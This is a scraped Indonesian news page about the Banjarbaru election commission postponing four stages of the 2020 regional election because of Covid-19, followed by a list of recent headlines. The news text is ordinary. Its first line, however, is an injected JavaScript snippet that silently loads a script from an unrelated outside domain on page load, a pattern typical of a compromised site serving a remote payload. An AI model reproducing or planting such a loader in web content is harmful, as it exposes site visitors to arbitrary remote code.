(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

4 Tahapan Pilkada Banjarbaru Ditunda


KANALKALIMANTAN.COM, BANJARBARU – Dampak pandemi virus corona atau Covid-19 yang merebak di Indonesia, berdampak pada ajang pesta demokrasi Pilkada 2020 di masing-masing daerah. Seperti halnya yang terjadi di Kota Banjarbaru.

Dalam hal ini, Komisi Pemilihan Umum (KPU) Kota Banjarbaru menunda pelaksanaan pengucapan sumpah/janji dan pelantikan seluruh calon anggota Panitia Pemungutan Suara (PPS) terpilih se Kota Banjarbaru.

Keputusan penundaan pelaksanaan pelantikan calon anggota PPS terpilih ini diambil setelah terbitnya Keputusan KPU Republik Indonesia Nomor 179/PL.02-Kpt/01/KPU/III/2020 tentang Penundaan Tahapan Pemilihan Gubenur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan/atau Wali Kota dan Wakil Wali Kota tahun 2020 dalam Upaya Pencegahan Penyebaran Covid-19.

Ketua Divisi Sosialisasi, Pendidikan Pemilih, Partisipasi Masyarakat, dan SDM KPU Kota Banjarbaru, Wahyu NZ mengatakan, pihaknya telah menerima salinan Keputusan KPU tersebut pada Minggu 22 Maret 2020 dini hari.

“Kita mengambil langkah tindak lanjut mengingat pelantikan calon anggota PPS terpilih di kota Banjarbaru dijadwalkan dilaksanakan pada Minggu lalu,” ujar Wahyu.

Keputusan penundaan pelantikan calon anggota PPS tersebut menjadi salah satu kagian dalam Keputusan KPU Kota Banjarbaru tentang penundaan tahapan Pemilihan Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2020 dalam upaya pencegahan penyebaran Covid-19 yang menjadi tindak lanjut atas Keputusan KPU RI.

Ketua KPU Banjarbaru Hegar mengungkapkan, secara umum, ada 4 tahapan Pilkada Banjarbaru 2020 yang ditunda. Yakni pelantikan PPS dan masa kerja PPS, verifikasi syarat dukungan calon perseorangan, pembentukan PPDP, pemutakhiran dan penyusunan daftar pemilih.

“Ya, 4 tahapan ini yang kita tunda. Sedangkan untuk kegiatan kami di kantor, sudah diterapkan work from home (WFH). Kita mengindari kegiatan tatap muka dan meminamlisir kontak fisik dengan sesama pegawai KPU,” katanya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

12 menit ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

29 menit ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

41 menit ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

54 menit ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

13 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

14 jam ago

This website uses cookies.